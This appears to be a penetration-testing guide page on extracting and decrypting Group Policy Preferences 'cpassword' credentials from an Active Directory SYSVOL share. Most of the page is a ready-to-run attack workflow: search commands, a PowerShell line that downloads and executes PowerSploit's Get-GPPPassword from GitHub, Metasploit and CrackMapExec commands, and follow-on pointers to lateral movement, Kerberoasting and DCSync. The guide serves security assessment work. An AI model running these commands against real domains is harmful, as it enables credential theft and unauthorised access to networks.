This guide is currently under development, and I greatly welcome any suggestions or feedback or at reaper.gitbook@gmail.com

Group Policy Preferences (GPP) password retrieval

Understanding the Vulnerability

What Are Group Policy Preferences?

Group Policy Preferences (GPP) allowed administrators to configure domain-wide settings including local account passwords, scheduled tasks, and services. The critical flaw: GPP stored passwords in XML files on the SYSVOL share, encrypted with a published AES key.

The Problem:

  • Passwords stored as "cpassword" in XML files

  • Encryption key was published by Microsoft in MSDN documentation

  • Any domain user can read SYSVOL share

  • Result: Any domain user can decrypt stored passwords

Timeline:

  • 2008-2014: Vulnerability actively exploitable

  • May 2014: MS14-025 patched the issue

  • Present: Legacy environments may still contain old GPP files

Quick Identification

Finding GPP Files

Manual Search:

# Search for cpassword in SYSVOL
findstr /S /I cpassword \\domain.com\sysvol\domain.com\policies\*.xml

# Search specific policy folders
dir \\domain.com\sysvol\domain.com\policies\ /s | findstr /i "Groups.xml Services.xml ScheduledTasks.xml DataSources.xml Drives.xml Printers.xml"

PowerShell Search:

# Search all XML files for cpassword
Get-ChildItem -Path "\\domain.com\sysvol" -Recurse -Include "*.xml" | Select-String -Pattern "cpassword"

# Specific GPP file types
$gppFiles = @("Groups.xml", "Services.xml", "ScheduledTasks.xml", "DataSources.xml", "Drives.xml", "Printers.xml")
foreach ($file in $gppFiles) {
    Get-ChildItem -Path "\\domain.com\sysvol" -Recurse -Name $file
}

Password Decryption

PowerSploit Method:

# Import PowerSploit
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1')

# Find and decrypt all GPP passwords
Get-GPPPassword

# Specify domain
Get-GPPPassword -Domain "target.domain.com"

Metasploit Module:

# Use Metasploit's GPP module
use auxiliary/scanner/smb/smb_enum_gpp
set RHOSTS 192.168.1.10
set SMBDomain domain.com
set SMBUser username
set SMBPass password
run

CrackMapExec:

# Search for GPP passwords
crackmapexec smb 192.168.1.10 -u username -p password --gpp-passwords

Common GPP File Locations

Typical SYSVOL Paths

Groups.xml (Local Users):

\\domain.com\sysvol\domain.com\Policies\{GUID}\Machine\Preferences\Groups\Groups.xml

Services.xml (Service Accounts):

\\domain.com\sysvol\domain.com\Policies\{GUID}\Machine\Preferences\Services\Services.xml

ScheduledTasks.xml (Task Accounts):

\\domain.com\sysvol\domain.com\Policies\{GUID}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml

DataSources.xml (Database Connections):

\\domain.com\sysvol\domain.com\Policies\{GUID}\Machine\Preferences\DataSources\DataSources.xml

Example GPP File Content

Groups.xml with Password:

<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
    <User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" 
          name="BackupAdmin" 
          image="2" 
          changed="2014-02-25 07:27:33" 
          uid="{26B4E5E9-7213-4b4c-8B1A-D9BDE98BA1D1}">
        <Properties action="U" 
                   newName="" 
                   fullName="Backup Administrator" 
                   description="Backup service account" 
                   cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" 
                   changeLogon="0" 
                   noChange="1" 
                   neverExpires="1" 
                   acctDisabled="0" 
                   userName="BackupAdmin"/>
    </User>
</Groups>

Exploitation Scenarios

Scenario 1: Local Administrator Discovery

Find Local Admin Accounts:

# Search for Groups.xml files
$groupsFiles = Get-ChildItem -Path "\\domain.com\sysvol" -Recurse -Name "Groups.xml"

foreach ($file in $groupsFiles) {
    $content = Get-Content "\\domain.com\sysvol\$file"
    if ($content -match "cpassword") {
        Write-Host "Found password in: $file"
        # Extract and decrypt password
    }
}

Scenario 2: Service Account Credentials

Extract Service Passwords:

# Find Services.xml files
findstr /S /I cpassword \\domain.com\sysvol\domain.com\policies\*\Machine\Preferences\Services\Services.xml

# Often reveals:
# - SQL service accounts
# - Backup service accounts  
# - Application service accounts

Scenario 3: Scheduled Task Accounts

Task Account Discovery:

# Check ScheduledTasks.xml for stored credentials
Get-ChildItem -Path "\\domain.com\sysvol" -Recurse -Include "ScheduledTasks.xml" | ForEach-Object {
    $content = Get-Content $_.FullName
    if ($content -match "cpassword") {
        Write-Host "Task credentials found in: $($_.FullName)"
    }
}

Quick Exploitation Workflow

Step-by-Step Process

1. Domain Access Check:

# Verify domain access and SYSVOL availability
net use \\domain.com\sysvol
dir \\domain.com\sysvol\domain.com\policies

2. Quick Search:

# One-liner to find any GPP passwords
findstr /S /I cpassword \\domain.com\sysvol\domain.com\policies\*.xml > gpp_results.txt

3. Extract and Decrypt:

# PowerShell one-liner for extraction and decryption
Get-ChildItem -Path "\\domain.com\sysvol" -Recurse -Include "*.xml" | Select-String -Pattern "cpassword" | ForEach-Object { $_.Line } | ForEach-Object { if ($_ -match 'cpassword="([^"]*)"') { Decrypt-GPPPassword $matches[1] } }

4. Validate Credentials:

# Test discovered credentials
runas /user:domain\discovered_user cmd
# Or use for further lateral movement

When to Check for GPP

Target Environments

  • Legacy Windows domains (2008-2014 era)

  • Domains with poor patch management

  • Air-gapped or isolated networks

  • Backup domain controllers from old snapshots

Indicators Worth Checking

  • Old SYSVOL timestamps (files from before 2014)

  • Legacy Group Policy Objects still in use

  • Administrative complaints about "old broken policies"

  • Domain functional level below 2016

Quick Assessment

# Check for old policy files
forfiles /p \\domain.com\sysvol\domain.com\policies /m *.xml /c "cmd /c if @fdate LSS 01/01/2015 echo @path @fdate"

# Look for large SYSVOL directories (may contain old files)
dir \\domain.com\sysvol\domain.com\policies /s | findstr "Directory"

Key Points

Limitations

  • Patched since 2014 - modern domains rarely vulnerable

  • Domain access required - need valid domain credentials

  • Legacy-specific - only affects older environments

  • No privilege escalation if passwords are for same-level accounts

Value When Found

  • Often high-privilege accounts (service accounts, backup admins)

  • Multiple credentials may be stored

  • Lateral movement opportunities across multiple systems

  • Persistence accounts that may not be monitored

Modern Alternatives

  • LAPS password extraction (if misconfigured)

  • Service account Kerberoasting (always worth checking)

  • ASREPRoasting for accounts without pre-auth

  • DCSync attacks if you find high-privilege credentials

This technique represents a classic example of how poor security practices can persist in domain environments long after patches are available, making it worth a quick check in any domain assessment.

Last updated

Was this helpful?